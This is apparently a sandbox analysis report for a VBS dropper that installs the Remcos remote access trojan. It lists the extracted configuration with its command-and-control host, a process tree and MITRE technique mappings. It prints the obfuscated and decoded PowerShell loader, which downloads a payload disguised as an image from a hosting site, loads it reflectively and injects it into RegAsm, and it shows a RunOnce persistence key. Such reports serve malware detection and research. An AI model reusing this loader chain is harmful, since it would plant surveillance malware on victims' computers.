remcos | babc0e3f52501b3128c5b0d806696a82c6575d7194a721d0e354d9bc7b077d91

Analysis

max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
26/08/2024, 04:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sostener.vbs
Size 14KB
Sample240826-e9yt5svgre
SHA256 babc0e3f52501b3128c5b0d806696a82c6575d7194a721d0e354d9bc7b077d91
MD5 329dfc361f947067523bc6bd4ede3704
SHA1 6a4af6bf2e7a18546baf6400265a11aa497ef7d5
SHA512 0a72676837420fd796a4103ab36f998864dc51d88d5c5a0fa7cff3d809a9cd6bde2ca36f98ef2d65f2eb8ecef8d2a2f70e8f9ee5b6d7594da3910177215fc791
SSDEEP 384:48a2+xQ8ihF50q7d395LE7UPJmxNSiMFpW7:4lxQRh3R3952gW24
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

rcmx.duckdns.org:57870

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-C6XZAO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	1248	powershell.exe
14	1248	powershell.exe
33	1248	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4564	powershell.exe
1248	powershell.exe
1888	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\MyApp = "C:\\ProgramData\\ertyubuUUBn---jchcujhBHvcUGCK.vbs"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	bitbucket.org
7	bitbucket.org

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
3892	tasklist.exe
3712	tasklist.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1248 set thread context of 4292	1248	powershell.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
1888	timeout.exe
1508	timeout.exe
1232	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4564	powershell.exe
4564	powershell.exe
1248	powershell.exe
1248	powershell.exe
1888	powershell.exe
1888	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeDebugPrivilege	1248	powershell.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeDebugPrivilege	3892	tasklist.exe
Token: SeDebugPrivilege	3712	tasklist.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4292	RegAsm.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 664 wrote to memory of 4564	664	WScript.exe	84
PID 664 wrote to memory of 4564	664	WScript.exe	84
PID 4564 wrote to memory of 1248	4564	powershell.exe	86
PID 4564 wrote to memory of 1248	4564	powershell.exe	86
PID 1248 wrote to memory of 1888	1248	powershell.exe	97
PID 1248 wrote to memory of 1888	1248	powershell.exe	97
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4292	1248	powershell.exe	99
PID 1248 wrote to memory of 4136	1248	powershell.exe	100
PID 1248 wrote to memory of 4136	1248	powershell.exe	100
PID 4136 wrote to memory of 1232	4136	cmd.exe	103
PID 4136 wrote to memory of 1232	4136	cmd.exe	103
PID 4136 wrote to memory of 3892	4136	cmd.exe	108
PID 4136 wrote to memory of 3892	4136	cmd.exe	108
PID 4136 wrote to memory of 1192	4136	cmd.exe	109
PID 4136 wrote to memory of 1192	4136	cmd.exe	109
PID 4136 wrote to memory of 1888	4136	cmd.exe	110
PID 4136 wrote to memory of 1888	4136	cmd.exe	110
PID 4136 wrote to memory of 3712	4136	cmd.exe	121
PID 4136 wrote to memory of 3712	4136	cmd.exe	121
PID 4136 wrote to memory of 4880	4136	cmd.exe	122
PID 4136 wrote to memory of 4880	4136	cmd.exe	122
PID 4136 wrote to memory of 1508	4136	cmd.exe	123
PID 4136 wrote to memory of 1508	4136	cmd.exe	123

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBi#Gk#d#Bi#HU#YwBr#GU#d##u#G8#cgBn#C8#a#Bn#GQ#ZgBo#GQ#ZgBn#GQ#LwB0#GU#cwB0#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#D8#MQ#0#DQ#N##x#Dc#Mg#z#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#D0#I#BE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQBG#HI#bwBt#Ew#aQBu#Gs#cw#g#CQ#b#Bp#G4#awBz#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##t#G4#ZQ#g#CQ#bgB1#Gw#b##p#C##ew#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#I##k#GU#bgBk#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#p#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#GU#bgBk#EY#b#Bh#Gc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQBn#HQ#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#KQ#g#Hs#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##r#D0#I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C4#T#Bl#G4#ZwB0#Gg#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#C##PQ#g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQ#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#L##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#EM#bwBu#HY#ZQBy#HQ#XQ#6#Do#RgBy#G8#bQBC#GE#cwBl#DY#N#BT#HQ#cgBp#G4#Zw#o#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##p#Ds#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#p#Ds#I##k#HQ#eQBw#GU#I##9#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#LgBH#GU#d#BU#Hk#c#Bl#Cg#JwB0#GU#cwB0#H##bwB3#GU#cgBz#Gg#ZQBs#Gw#LgBI#G8#bQBl#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#G0#ZQB0#Gg#bwBk#C##PQ#g#CQ#d#B5#H##ZQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBs#GE#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I##o#Cc#d#B4#HQ#LgBt#GM#Ug#v#Eg#Uw#v#Ho#cgBh#E0#LwBn#GU#Ug#v#Gs#YQBU#C8#OQ#2#DE#Lg#z#DM#Mg#u#DI#M##y#C4#MQ#5#C8#Lw#6#H##d#B0#Gg#Jw#s#C##Jw#y#Cc#L##g#Cc#ZQBy#HQ#eQB1#GI#dQBV#FU#QgBu#C0#LQ#t#Go#YwBo#GM#dQBq#Gg#QgBI#HY#YwBV#Ec#QwBL#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#x#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?11811735', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.mcR/HS/zraM/geR/kaT/961.332.202.19//:ptth', '2', 'ertyubuUUBn---jchcujhBHvcUGCK', 'RegAsm', '1'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination "'C:\ProgramData\ertyubuUUBn---jchcujhBHvcUGCK.vbs'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1888
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:4292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\write.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4136
    - - C:\Windows\system32\timeout.exe
        
        timeout 60
        5⤵
        Delays execution with timeout.exe
        
        PID:1232
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "ImageName eq RegAsm.exe" /fo csv
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3892
    - - C:\Windows\system32\find.exe
        
        find /I "RegAsm.exe"
        5⤵
        
        PID:1192
    - - C:\Windows\system32\timeout.exe
        
        timeout 60
        5⤵
        Delays execution with timeout.exe
        
        PID:1888
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "ImageName eq RegAsm.exe" /fo csv
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3712
    - - C:\Windows\system32\find.exe
        
        find /I "RegAsm.exe"
        5⤵
        
        PID:4880
    - - C:\Windows\system32\timeout.exe
        
        timeout 60
        5⤵
        Delays execution with timeout.exe
        
        PID:1508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 3457aa616cfcbb8d3f6ee7059c752345ae5f9319a18f3a1f2eb382560329d863
MD5 873c049e76aba7838f6e9a812e22a3dd
SHA1 505e3e2a8ebb8727f8c65270342a07c97020943a
SHA512 ba929425abf56908d41ad63e90ec7e29261e486481ff91f5ad8334ab58981d1e9f4d7a15b06e84cbd80b34cfa0624b71a203159c3982edb50f6280fac0a79b4c
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9ecf63e750463498ffb46bdcfd64a4ed0bae0ef80c5b43f438211f06b40a145d
MD5 7f6b840a2ea930a42b14ed71ad6849c5
SHA1 a61bea32b13b67dd2868d285ad2fd058fca3c43e
SHA512 37fefc17e40bca636608acc6ddbf47c3a3e87b87267c892ada02101484b8dd82b53ec91e12c583aa10beb5812d7536cbee38faf465594461722896960d182448
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
MD5 50a8221b93fbd2628ac460dd408a9fc1
SHA1 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA512 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_orghloq2.o1k.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_orghloq2.o1k.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

write.bat

Path C:\Users\Admin\AppData\Local\Temp\write.bat
Size 252B
SHA256 bdcf03eb3ffbefcc253d7a22173cc42cc54d2a30cfab4cb2bc778db9e28a3e5a
MD5 2f1586e4c54ebe5b5425268d768be974
SHA1 8730a6399e84ec4286f99d9d2d3aa820ceb390b0
SHA512 b63655f62c2c45da02e9a6c8fe067e521babdded254da64e4c19c42ed4521bcde0c143839c4246e488b21e68f01924cd1646e47aff8bb9db5cbc835d801e4a51
MD5 SHA1 SHA512

Submit Download

memory/1248-24-0x0000013C90990000-0x0000013C909CE000-memory.dmp

Download

memory/4292-37-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-57-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-41-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-43-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-88-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-87-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-47-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-50-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-80-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-79-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-72-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-55-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-56-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-71-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-58-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-60-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-63-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4292-64-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4564-6-0x0000025ECE490000-0x0000025ECE4B2000-memory.dmp

Download

memory/4564-0-0x00007FF8871F3000-0x00007FF8871F5000-memory.dmp

Download

memory/4564-54-0x00007FF8871F0000-0x00007FF887CB1000-memory.dmp

Download

memory/4564-11-0x00007FF8871F0000-0x00007FF887CB1000-memory.dmp

Download

memory/4564-12-0x00007FF8871F0000-0x00007FF887CB1000-memory.dmp

Download

memory/4564-22-0x00007FF8871F3000-0x00007FF8871F5000-memory.dmp

Download

memory/4564-23-0x00007FF8871F0000-0x00007FF887CB1000-memory.dmp

Download